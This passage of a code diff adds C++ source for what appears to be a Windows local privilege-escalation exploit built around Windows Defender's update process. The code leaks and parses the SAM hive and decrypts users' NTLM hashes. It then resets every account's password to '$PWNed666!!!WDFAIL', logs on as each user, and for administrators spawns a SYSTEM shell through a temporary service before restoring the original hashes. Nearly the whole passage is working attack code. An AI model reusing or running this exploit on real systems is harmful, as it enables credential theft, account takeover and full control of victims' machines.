EVP_DecryptFinal_ex(en, (unsigned char*)plaintext + _outsz, &_outlen); + + if (outsz) + *outsz = _outsz; + + return plaintext; + */ +} + +char* DeriveDESKey(char data[7]) +{ + + + union keyderv { + struct { + char arr[8]; + }; + SIZE_T derv; + }; + keyderv ttv = { 0 }; + ZeroMemory(ttv.arr, sizeof(ttv.arr)); + memmove(ttv.arr, data, sizeof(data) - 1); + SIZE_T k = ttv.derv; + + + char* key = (char*)malloc(sizeof(data)); + + for (int i = 0; i < 8; i++) + { + int j = 7 - i; + int curr = (k >> (7 * j)) & 0x7F; + int b = curr; + b ^= b >> 4; + b ^= b >> 2; + b ^= b >> 1; + int keybyte = (curr << 1) ^ (b & 1) ^ 1; + key[i] = (char)keybyte; + } + return key; +} + +void* UnproctectPasswordHashDES(char* ciphertext, int ciphersz, int* outsz, ULONG rid) +{ + + union keydata { + struct { + char a; + char b; + char c; + char d; + }; + ULONG data; + }; + + keydata keycontent = { 0 }; + keycontent.data = rid; + char key1[7] = { keycontent.c,keycontent.b,keycontent.a,keycontent.d, keycontent.c, keycontent.b,keycontent.a }; + char key2[7] = { keycontent.b,keycontent.a,keycontent.d,keycontent.c, keycontent.b, keycontent.a,keycontent.d }; + + char* rkey1 = DeriveDESKey(key1); + char* rkey2 = DeriveDESKey(key2); + + + int plaintext1sz = 0; + int plaintext2sz = 0; + char* plaintext1 = (char*)UnprotectDES(rkey1, sizeof(key1), ciphertext, ciphersz, &plaintext1sz); + if (!plaintext1) + return NULL; + char* plaintext2 = (char*)UnprotectDES(rkey2, sizeof(key2), &ciphertext[8], ciphersz, &plaintext2sz); + if (!plaintext2) + return NULL; + void* retval = malloc(plaintext1sz + plaintext2sz); + + memmove(retval, plaintext1, plaintext1sz); + memmove(RtlOffsetToPointer(retval, plaintext1sz), plaintext2, plaintext2sz); + if (outsz) + *outsz = plaintext1sz + plaintext2sz; + return retval; +} + +void* UnprotectNTHash(char* key, int keysz, char* encryptedHash, int enchashsz, int* outsz, ULONG rid) +{ + int _outsz = 0; + void* dec = UnprotectPasswordHash(key, keysz, encryptedHash, enchashsz, rid, &_outsz); + if (!dec) + return NULL; + int _hashoutsz = 0; + void* _hash = UnproctectPasswordHashDES((char*)dec, _outsz, &_hashoutsz, rid); + if (outsz) + *outsz = _hashoutsz; + return _hash; +} + +unsigned char* HexToHexString(unsigned char* data, int size) +{ + unsigned char* retval = (unsigned char*)malloc(size * 2 + 1); + ZeroMemory(retval, size + 1); + for (int i = 0; i < size; i++) + { + sprintf((char*)&retval[i * 2], "%02x", data[i]); + } + + return retval; +} + +#define SAM_DATABASE_DATA_ACCESS_OFFSET 0xcc +#define SAM_DATABASE_USERNAME_OFFSET 0x0c +#define SAM_DATABASE_USERNAME_LENGTH_OFFSET 0x10 +#define SAM_DATABASE_LM_HASH_OFFSET 0x9c +#define SAM_DATABASE_LM_HASH_LENGTH_OFFSET 0xa0 +#define SAM_DATABASE_NT_HASH_OFFSET 0xa8 +#define SAM_DATABASE_NT_HASH_LENGTH_OFFSET 0xac + +struct PwdEnc +{ + char* buff; + size_t sz; + wchar_t* username; + ULONG usernamesz; + char* LMHash; + ULONG LMHashLenght; + char* NTHash; + ULONG NTHashLenght; + ULONG rid; + +}; + + +NTSTATUS WINAPI SamConnect(IN PUNICODE_STRING ServerName, OUT HANDLE* ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted); +NTSTATUS WINAPI SamCloseHandle(IN HANDLE SamHandle); +NTSTATUS WINAPI SamOpenDomain(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE* DomainHandle); +NTSTATUS WINAPI SamOpenUser(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE* UserHandle); +NTSTATUS WINAPI SamiChangePasswordUser(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE* oldLM, IN const BYTE* newLM, IN BOOL isNewNTLM, IN const BYTE* oldNTLM, IN const BYTE* newNTLM); + + +char* CalculateNTLMHash(char* _input) +{ + + int pw_len = strlen(_input); + char* input = new char[pw_len * 2]; + for (int i = 0; i < pw_len; i++) + { + input[i * 2] = _input[i]; + input[i * 2 + 1] = '\0'; + } + + + unsigned int md_len = 0; + + HCRYPTPROV hprov = NULL; + + CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); + + HCRYPTHASH Hhash = NULL; + CryptCreateHash(hprov, CALG_MD4, NULL, NULL, &Hhash); + + CryptHashData(Hhash, (const BYTE*)input, pw_len * 2, NULL); + + DWORD inputsz = sizeof(md_len); + CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL); + unsigned char* md_value = (unsigned char*)malloc(md_len); + inputsz = md_len; + CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)md_value, &inputsz, NULL); + + CryptDestroyHash(Hhash); + CryptReleaseContext(hprov, NULL); + /* + EVP_MD_CTX* mdctx = EVP_MD_CTX_new(); + EVP_DigestInit_ex(mdctx, EVP_md4(), NULL); + EVP_DigestUpdate(mdctx, input, pw_len * 2); + EVP_DigestFinal_ex(mdctx, md_value, &md_len); + EVP_MD_CTX_free(mdctx); + */ + /* + printf("Digest is: "); + for (int i = 0; i < md_len; i++) + printf("%02x", md_value[i]); + printf("\n"); + */ + return (char*)md_value; + +} +bool ChangeUserPassword(wchar_t* username, void* nthash, char* newpassword, char* newNTLMHash = NULL) +{ + + wchar_t libpath[MAX_PATH] = { 0 }; + ExpandEnvironmentStrings(L"%windir%\\System32\\samlib.dll",libpath,MAX_PATH); + + HMODULE hm = LoadLibrary(libpath); + if (!hm) + { + printf("Failed to load samlib.dll\n"); + return false; + } + NTSTATUS(WINAPI * _SamConnect) + (IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted) = (NTSTATUS(WINAPI*)(IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted))GetProcAddress(hm, "SamConnect"); + NTSTATUS(WINAPI * _SamCloseHandle)(IN HANDLE SamHandle) = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle))GetProcAddress(hm, "SamCloseHandle"); + NTSTATUS(WINAPI * _SamOpenDomain)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle) + = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle))GetProcAddress(hm, "SamOpenDomain"); + NTSTATUS(WINAPI * _SamOpenUser)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle) = (NTSTATUS(WINAPI*)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle))GetProcAddress(hm, "SamOpenUser"); + NTSTATUS(WINAPI * _SamiChangePasswordUser)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM) = (NTSTATUS(WINAPI*)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM))GetProcAddress(hm, "SamiChangePasswordUser"); + + + if (!_SamConnect || !_SamCloseHandle || !_SamOpenDomain || !_SamOpenUser || !_SamiChangePasswordUser) + { + printf("Failed to import required functions from samlib.dll\n"); + return false; + } + + HANDLE hsrv = NULL; + NTSTATUS stat = _SamConnect(NULL, &hsrv, MAXIMUM_ALLOWED, false); + if (stat) + { + printf("Failed to connect to SAM, error : 0x%0.8X\n", stat); + return false; + } + //printf("Connected to local SAM.\n"); + LSA_OBJECT_ATTRIBUTES loa = { 0 }; + LSA_HANDLE hlsa = NULL; + stat = LsaOpenPolicy(NULL, &loa, MAXIMUM_ALLOWED, &hlsa); + if (stat) + { + printf("LsaOpenPolicy failed, error : 0x%0.8X\n", stat); + return false; + } + + POLICY_ACCOUNT_DOMAIN_INFO* domaininfo = 0; + stat = LsaQueryInformationPolicy(hlsa, PolicyAccountDomainInformation, (PVOID*)&domaininfo); + if (stat) + { + printf("LsaQueryInformationPolicy failed, error : 0x%0.8X\n", stat); + return false; + } + /*wchar_t* stringsid = 0; + if (!ConvertSidToStringSid(domaininfo->DomainSid, &stringsid)) + { + printf("Failed to get string sid, error : %d\n", GetLastError()); + return false; + } + printf("Machine SID : %ws\n", stringsid);*/ + LSA_REFERENCED_DOMAIN_LIST* lsareflist = 0; + LSA_TRANSLATED_SID* lsatrans = 0; + LSA_UNICODE_STRING lsaunistr = { 0 }; + RtlInitUnicodeString((PUNICODE_STRING)&lsaunistr, username); + stat = LsaLookupNames(hlsa, 1, &lsaunistr, &lsareflist, &lsatrans); + if (stat) + { + printf("LsaLookupNames failed, error : 0x%0.8X\n", stat); + return false; + } + LsaClose(hlsa); + + HANDLE hdomain = NULL; + stat = _SamOpenDomain(hsrv, MAXIMUM_ALLOWED, domaininfo->DomainSid, &hdomain); + if (stat) + { + printf("SamOpenDomain failed, error : 0x%0.8X\n", stat); + return false; + } + + HANDLE huser = NULL; + stat = _SamOpenUser(hdomain, MAXIMUM_ALLOWED, lsatrans->RelativeId, &huser); + if (stat) + { + printf("SamOpenUser failed, error : 0x%0.8X\n", stat); + return false; + } + + //char password[] = "testp"; + //char* oldNTLM = CalculateNTLMHash((char*)"testp"); + char* oldNTLM = (char*)nthash; + char* newNTLM = newNTLMHash ? newNTLMHash : CalculateNTLMHash(newpassword); + + char oldLm[16] = { 0 }; + char newLm[16] = { 0 }; + stat = _SamiChangePasswordUser(huser, false, (BYTE*)oldLm, (BYTE*)newLm, true, (BYTE*)oldNTLM, (BYTE*)newNTLM); + + if (stat) + { + printf("SamiChangePasswordUser failed, error : 0x%0.8X\n", stat); + return false; + } + _SamCloseHandle(huser); + _SamCloseHandle(hdomain); + _SamCloseHandle(hsrv); + /* + if (newpassword) { + printf("Info : user \"%ws\" password has changed to %s\n", username, newpassword); + } + else { + printf("Info : user \"%ws\" password has been changed back to older password\n", username); + } + */ + return true; +} + + + +typedef struct _SYSTEM_PROCESS_INFORMATION2 +{ + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER WorkingSetPrivateSize; // since VISTA + ULONG HardFaultCount; // since WIN7 + ULONG NumberOfThreadsHighWatermark; // since WIN7 + ULONGLONG CycleTime; // since WIN7 + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR UniqueProcessKey; // since VISTA (requires SystemExtendedProcessInformation) + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; + SYSTEM_THREAD_INFORMATION Threads[1]; // SystemProcessInformation + // SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1]; // SystemExtendedProcessinformation + // SYSTEM_EXTENDED_THREAD_INFORMATION + SYSTEM_PROCESS_INFORMATION_EXTENSION // SystemFullProcessInformation +} SYSTEM_PROCESS_INFORMATION2, * PSYSTEM_PROCESS_INFORMATION2; + +BOOL SetPrivilege( + HANDLE hToken, // access token handle + LPCTSTR lpszPrivilege, // name of privilege to enable/disable + BOOL bEnablePrivilege // to enable or disable privilege +) +{ + TOKEN_PRIVILEGES tp; + LUID luid; + + if (!LookupPrivilegeValue( + NULL, // lookup privilege on local system + lpszPrivilege, // privilege to lookup + &luid)) // receives LUID of privilege + { + printf("LookupPrivilegeValue error: %u\n", GetLastError()); + return FALSE; + } + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + if (bEnablePrivilege) + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + else + tp.Privileges[0].Attributes = 0; + + // Enable the privilege or disable all privileges. + + if (!AdjustTokenPrivileges( + hToken, + FALSE, + &tp, + 0, + (PTOKEN_PRIVILEGES)NULL, + (PDWORD)NULL)) + { + printf("AdjustTokenPrivileges error: %u\n", GetLastError()); + return FALSE; + } + + if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) + + { + printf("The token does not have the specified privilege. \n"); + return FALSE; + } + + return TRUE; +} + + +bool DoSpawnShellAsAllUsers(wchar_t* sampath) +{ + //SSL_library_init(); + //SSL_load_error_strings(); + char newpassword[] = "$PWNed666!!!WDFAIL"; + wchar_t newpassword_unistr[] = L"$PWNed666!!!WDFAIL"; + char* newNTLM = CalculateNTLMHash(newpassword); + bool isadmin = false; + char* retval = 0; + ORHKEY hSAMhive = NULL; + ORHKEY hSYSTEMhive = NULL; + DWORD err = OROpenHive(sampath, &hSAMhive); + bool systemshelllaunched = false; + if (err) + { + printf("OROpenHive failed with error : %d\n", err); + return false; + } + + unsigned char lsakey[16] = { 0 }; + + if (!GetLSASecretKey(lsakey)) + { + printf("Failed to dump LSA secret keys.\n"); + return false; + } + + + ORHKEY hkey = NULL; + err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account", &hkey); + + DWORD valuesz = 0; + err = ORGetValue(hkey, NULL, L"F", NULL, NULL, &valuesz); + if (err) + { + printf("ORGetValue failed with error : %d\n", err); + return false; + } + char* samkey = (char*)malloc(valuesz); + err = ORGetValue(hkey, NULL, L"F", NULL, samkey, &valuesz); + if (err) + { + printf("ORGetValue failed with error : %d\n", err); + return false; + } + + ORCloseKey(hkey); + + /////////////////////////////////////////////////////////// + int passwordEncryptionKeysz = 0; + char* passwordEncryptionKey = (char*)UnprotectPasswordEncryptionKey(samkey, lsakey, &passwordEncryptionKeysz); + + err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account\\Users", &hkey); + if (err) + { + printf("OROpenKey failed with error : %d\n", err); + return false; + } + + + DWORD subkeys = NULL; + err = ORQueryInfoKey(hkey, NULL, NULL, &subkeys, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + if (err) + { + printf("ORQueryInfoKey failed with error : %d\n", err); + return false; + } + + + PwdEnc** pwdenclist = (PwdEnc**)malloc(sizeof(PwdEnc*) * subkeys); + int numofentries = 0; + for (int i = 0; i < subkeys; i++) + { + DWORD keynamesz = 0x100; + wchar_t keyname[0x100] = { 0 }; + err = OREnumKey(hkey, i, keyname, &keynamesz, NULL, NULL, NULL); + if (err) + { + printf("OREnumKey failed with error : %d\n", err); + return false; + } + if (_wcsicmp(keyname, L"users") == 0) + continue; + ORHKEY hkey2 = NULL; + err = OROpenKey(hkey, keyname, &hkey2); + if (err) + { + printf("OROpenKey failed with error : %d\n", err); + return false; + } + DWORD valuesz = 0; + err = ORGetValue(hkey2, NULL, L"V", NULL, NULL, &valuesz); + if (err == ERROR_FILE_NOT_FOUND) + continue; + if (err != ERROR_MORE_DATA && err != ERROR_SUCCESS) { + printf("ORGetValue failed with error : %d\n", err); + return false; + } + PwdEnc* SAMpwd = (PwdEnc*)malloc(sizeof(PwdEnc)); + ZeroMemory(SAMpwd, sizeof(PwdEnc)); + SAMpwd->sz = valuesz; + SAMpwd->buff = (char*)malloc(valuesz); + ZeroMemory(SAMpwd->buff, valuesz); + err = ORGetValue(hkey2, NULL, L"V", NULL, SAMpwd->buff, &valuesz); + if (err) + { + printf("ORGetValue failed with error : %d\n", err); + return false; + } + SAMpwd->rid = wcstoul(keyname, NULL, 16); + + ULONG* accnameoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_OFFSET]; + SAMpwd->username = (wchar_t*)RtlOffsetToPointer(SAMpwd->buff, *accnameoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); + ULONG* usernamesz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_LENGTH_OFFSET]; + SAMpwd->usernamesz = *usernamesz; + + ULONG* LMhashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_OFFSET]; + SAMpwd->LMHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *LMhashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); + ULONG* LMhashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_LENGTH_OFFSET]; + SAMpwd->LMHashLenght = *LMhashsz; + + ULONG* NTHashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_OFFSET]; + SAMpwd->NTHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *NTHashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); + ULONG* NThashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_LENGTH_OFFSET]; + SAMpwd->NTHashLenght = *NThashsz; + + pwdenclist[i] = SAMpwd; + numofentries++; + } + + + wchar_t currentusername[UNLEN + 1] = { 0 }; + DWORD usernamesz = sizeof(currentusername) / sizeof(wchar_t); + if (!GetUserName(currentusername, &usernamesz)) + { + printf("Failed to get current user name, error : %d", GetLastError()); + return false; + } + + + for (int i = 0; i < numofentries; i++) + { + PwdEnc* samentry = pwdenclist[i]; + int realNTLMHashsz = 0; + char* realNTLMHash = (char*)UnprotectNTHash(passwordEncryptionKey, passwordEncryptionKeysz, samentry->NTHash, samentry->NTHashLenght, &realNTLMHashsz, samentry->rid); + char* stringntlm = 0; + char emptyrepresentation[] = "{NULL}"; + if (realNTLMHashsz) + { + stringntlm = (char*)HexToHexString((unsigned char*)realNTLMHash, realNTLMHashsz); + } + else + { + + stringntlm = emptyrepresentation; + } + wchar_t username[UNLEN + 1] = { 0 }; + if (samentry->usernamesz <= sizeof(username)) + { + memmove(username, samentry->username, samentry->usernamesz); + } + printf("******************************************\n"); + printf(" User : %ws\n RID : %d\n NTLM : %s\n", username, samentry->rid, stringntlm); + if (realNTLMHash == NULL || realNTLMHashsz == 0) { + printf(" Skip : NULL NTLM.\n"); + continue; + } + if (_wcsicmp(username, currentusername) == 0) + { + printf(" Skip : Current User.\n"); + continue; + } + if (_wcsicmp(username, L"WDAGUtilityAccount") == 0) + { + printf(" Skip : WDAGUtilityAccount detected.\n"); + continue; + } + + retval = realNTLMHash; + + if (ChangeUserPassword(username, realNTLMHash, NULL,newNTLM)) + { + printf(" NewPasswordSet : OK.\n"); + + HANDLE htoken = NULL; + PSID logonsid = 0; + if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &htoken, &logonsid, NULL, NULL, NULL)) + { + printf("LogonUserEx failed, error : %d\n", GetLastError()); + } + if (!systemshelllaunched) { + TOKEN_ELEVATION_TYPE tokentype; + DWORD retsz = 0; + if (!GetTokenInformation(htoken, TokenElevationType, &tokentype, sizeof(tokentype), &retsz)) + { + printf("GetTokenInformation failed with error : %d\n", GetLastError()); + } + + if (tokentype == TokenElevationTypeLimited) + { + TOKEN_LINKED_TOKEN linkedtoken = { 0 }; + + + if (!GetTokenInformation(htoken, TokenLinkedToken, &linkedtoken, sizeof(TOKEN_LINKED_TOKEN), &retsz)) + { + printf("GetTokenInformation failed with error : %d\n", GetLastError()); + } + + HANDLE hdup = linkedtoken.LinkedToken; + + DWORD sidsz = MAX_SID_SIZE; + PSID administratorssid = malloc(sidsz); + + if (!CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, administratorssid, &sidsz)) + { + printf("Failed to create well known sid, error : %d\n", GetLastError()); + } + + + + if (!CheckTokenMembership(hdup, administratorssid, (PBOOL)&isadmin)) + { + printf("CheckTokenMembership failed with error : %d\n", GetLastError()); + } + free(administratorssid); + + CloseHandle(hdup); + } + + if (isadmin) + { + + + + + printf(" IsAdmin : TRUE\n"); + HANDLE htoken2 = NULL; + if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, &htoken2, &logonsid, NULL, NULL, NULL)) + { + printf("LogonUserEx failed, error : %d\n", GetLastError()); + } + //SetPrivilege(htoken2, SE_DEBUG_NAME, TRUE); + const wchar_t sid_string[] = L"S-1-16-8192"; + TOKEN_MANDATORY_LABEL integrity; + PSID sid = NULL; + ConvertStringSidToSidW(sid_string, &sid); + ZeroMemory(&integrity, sizeof(integrity)); + integrity.Label.Attributes = SE_GROUP_INTEGRITY; + integrity.Label.Sid = sid; + if (SetTokenInformation(htoken2, TokenIntegrityLevel, &integrity, sizeof(integrity) + GetLengthSid(sid)) == 0) { + wprintf(L"ERROR[SetTokenInformation]: %d\n", GetLastError()); + } + LocalFree(sid); + //CloseHandle(htoken2); + + ImpersonateLoggedOnUser(htoken2); + + + SC_HANDLE hmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE); + if (!hmgr) + { + printf("OpenSCManager failed with error : %d", GetLastError()); + } + + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + wchar_t* wuid2 = 0; + + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wuid2 = (wchar_t*)wuid; + + wchar_t binpath[MAX_PATH] = { 0 }; + GetModuleFileName(GetModuleHandle(NULL), binpath, MAX_PATH); + wchar_t servicecmd[MAX_PATH] = { 0 }; + DWORD currentsesid = 0; + ProcessIdToSessionId(GetCurrentProcessId(), ¤tsesid); + wsprintf(servicecmd, L"\"%s\" %d", binpath, currentsesid); + + SC_HANDLE hsvc = CreateService(hmgr, wuid2, wuid2, GENERIC_ALL, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, servicecmd, NULL, NULL, NULL, NULL, NULL); + if (!hsvc) + { + printf("CreateService Failed with error : %d\n", GetLastError()); + } + else { + printf(" SYSTEMShell : OK.\n"); + } + + StartService(hsvc, NULL, NULL); + Sleep(100); + DeleteService(hsvc); + CloseServiceHandle(hsvc); + CloseServiceHandle(hmgr); + RevertToSelf(); + CloseHandle(htoken2); + systemshelllaunched = true; + } + else { + printf(" IsAdmin : FALSE\n"); + } + + + } + + STARTUPINFO si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + if (!CreateProcessWithLogonW(username, NULL, newpassword_unistr, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\conhost.exe", NULL, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi)) + { + printf(" Shell : Error %d\n", GetLastError()); + } + else { + printf(" Shell : OK.\n"); + if (pi.hProcess) + CloseHandle(pi.hProcess); + if (pi.hThread) + CloseHandle(pi.hThread); + } + + if (!ChangeUserPassword(username, newNTLM, NULL, realNTLMHash)) + { + printf(" PasswordRestore : Error %d\n", GetLastError()); + } + + else { + printf(" PasswordRestore : OK.\n"); + } + CloseHandle(htoken); + } + + // __debugbreak(); + + + + } + + ORCloseHive(hSAMhive); + printf("******************************************\n"); + free(newNTLM); + return true; + + + +} + +bool IsRunningAsLocalSystem() +{ + + HANDLE htoken = NULL; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) { + printf("OpenProcessToken failed, error : %d\n", GetLastError()); + return false; + } + TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER)); + DWORD retsz = 0; + bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz); + CloseHandle(htoken); + if (!res) + return false; + + return IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid); +} + +void LaunchConsoleInSessionId(DWORD sessionid) +{ + HANDLE htoken = NULL; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken)) + return; + + SetPrivilege(htoken, SE_TCB_NAME, TRUE); + SetPrivilege(htoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE); + SetPrivilege(htoken, SE_IMPERSONATE_NAME, TRUE); + SetPrivilege(htoken, SE_DEBUG_NAME, TRUE); + + HANDLE hnewtoken = NULL; + bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken); + CloseHandle(htoken); + if (!res) + return; + + res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD)); + if (!res) + { + CloseHandle(hnewtoken); + return; + } + + STARTUPINFO si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi); + + CloseHandle(hnewtoken); + + if (pi.hProcess) + CloseHandle(pi.hProcess); + if (pi.hThread) + CloseHandle(pi.hThread); + return; + +} + +int wmain(int argc, wchar_t* argv[]) +{ + + + if (IsRunningAsLocalSystem()) + { + printf("Running as local system.\n"); + if (argc == 2) + { + DWORD sessionid = _wtoi(argv[1]); + if (sessionid) { + printf("Session id : %d\n", sessionid); + LaunchConsoleInSessionId(sessionid); + } + } + return 0; + } + + + const wchar_t* filestoleak[] = { {L"\\Windows\\System32\\Config\\SAM"} + /*,{L"\\Windows\\System32\\Config\\SYSTEM"},{L"\\Windows\\System32\\Config\\SECURITY"}*/ + }; + wchar_t fullvsspath[MAX_PATH] = { 0 }; + HANDLE hreleaseready = NULL; + wchar_t updtitle[0x200] = { 0 }; + wchar_t targetfile[MAX_PATH] = { 0 }; + wchar_t copiedfilepath[MAX_PATH] = { 0 }; + /* + if (argc >= 2) { + wcscpy(targetfile, argv[1]); + printf("Target file : \"%ws\"\n", targetfile); + } + else { + + wcscpy(targetfile, L"C:\\Windows\\System32\\Config\\ELAM"); + printf("No source file specified, \"%ws\" will be used.\n", targetfile); + } + if (argc > 2) { + wcscpy(copiedfilepath, argv[2]); + printf("Copy file path : \"%ws\"\n", copiedfilepath); + } + else + { + + printf("No file path was specified for file copy, \"%ws\" will be used.\n", copiedfilepath); + } + + HANDLE hcheck = CreateFile(copiedfilepath, GENERIC_WRITE | DELETE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_DELETE_ON_CLOSE, NULL); + if (!hcheck || hcheck == INVALID_HANDLE_VALUE) + { + printf("Cannot open file to copy leaked file to, please specify a different path"); + return 0; + } + CloseHandle(hcheck); + hcheck = CreateFile(targetfile, FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hcheck && hcheck != INVALID_HANDLE_VALUE) + { + printf("Target file can be opened for read access, exiting."); + CloseHandle(hcheck); + return 0; + } + DWORD lasterr = GetLastError(); + if(lasterr == ERROR_FILE_NOT_FOUND || lasterr == ERROR_PATH_NOT_FOUND) + { + printf("Target file does not exist.\n"); + return 0; + } + */ + wchar_t nttargetfile[MAX_PATH] = { 0 }; + //wcscpy(nttargetfile, L"\\??\\"); + //wcscat(nttargetfile, targetfile); + + wchar_t* filestodel[100] = { 0 }; + HINTERNET hint = NULL; + HINTERNET hint2 = NULL; + char data[0x1000] = { 0 }; + DWORD index = 0; + DWORD sz = sizeof(data); + bool res2 = 0; + wchar_t filesz[50] = { 0 }; + LARGE_INTEGER li = { 0 }; + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + wchar_t* wuid2 = 0; + wchar_t envstr[MAX_PATH] = { 0 }; + wchar_t mpampath[MAX_PATH] = { 0 }; + HANDLE hmpap = NULL; + void* exebuff = NULL; + DWORD readsz = 0; + HANDLE hmapping = NULL; + void* mappedbuff = NULL; + HRSRC hres = NULL; + DWORD ressz = NULL; + HGLOBAL cabbuff = NULL; + wchar_t cabpath[MAX_PATH] = { 0 }; + wchar_t updatepath[MAX_PATH] = { 0 }; + HANDLE hcab = NULL; + ERF erfstruct = { 0 }; + HFDI hcabctx = NULL; + char _updatepath[MAX_PATH] = { 0 }; + bool extractres = false; + char buff[0x1000] = { 0 }; + DWORD retbytes = 0; + DWORD tid = 0; + HANDLE hthread = NULL; + WDRPCWorkerThreadArgs threadargs = { 0 }; + HANDLE hcurrentthread = NULL; + HANDLE hdir = NULL; + wchar_t newdefupdatedirname[MAX_PATH] = { 0 }; + wchar_t updatelibpath[MAX_PATH] = { 0 }; + UNICODE_STRING unistrupdatelibpath = { 0 }; + OBJECT_ATTRIBUTES objattr = { 0 }; + IO_STATUS_BLOCK iostat = { 0 }; + HANDLE hupdatefile = NULL; + NTSTATUS ntstat = 0; + OVERLAPPED ovd = { 0 }; + DWORD transfersz = 0; + wchar_t newname[MAX_PATH] = { 0 }; + DWORD renstructsz = 0; + UNICODE_STRING objlinkname = { 0 }; + UNICODE_STRING objlinktarget = { 0 }; + FILE_RENAME_INFO* fri = 0; + wchar_t wreparsedirpath[MAX_PATH] = { 0 }; + UNICODE_STRING reparsedirpath = { 0 }; + HANDLE hreparsedir = NULL; + wchar_t newtmp[MAX_PATH] = { 0 }; + wchar_t rptarget[MAX_PATH] = { 0 }; + 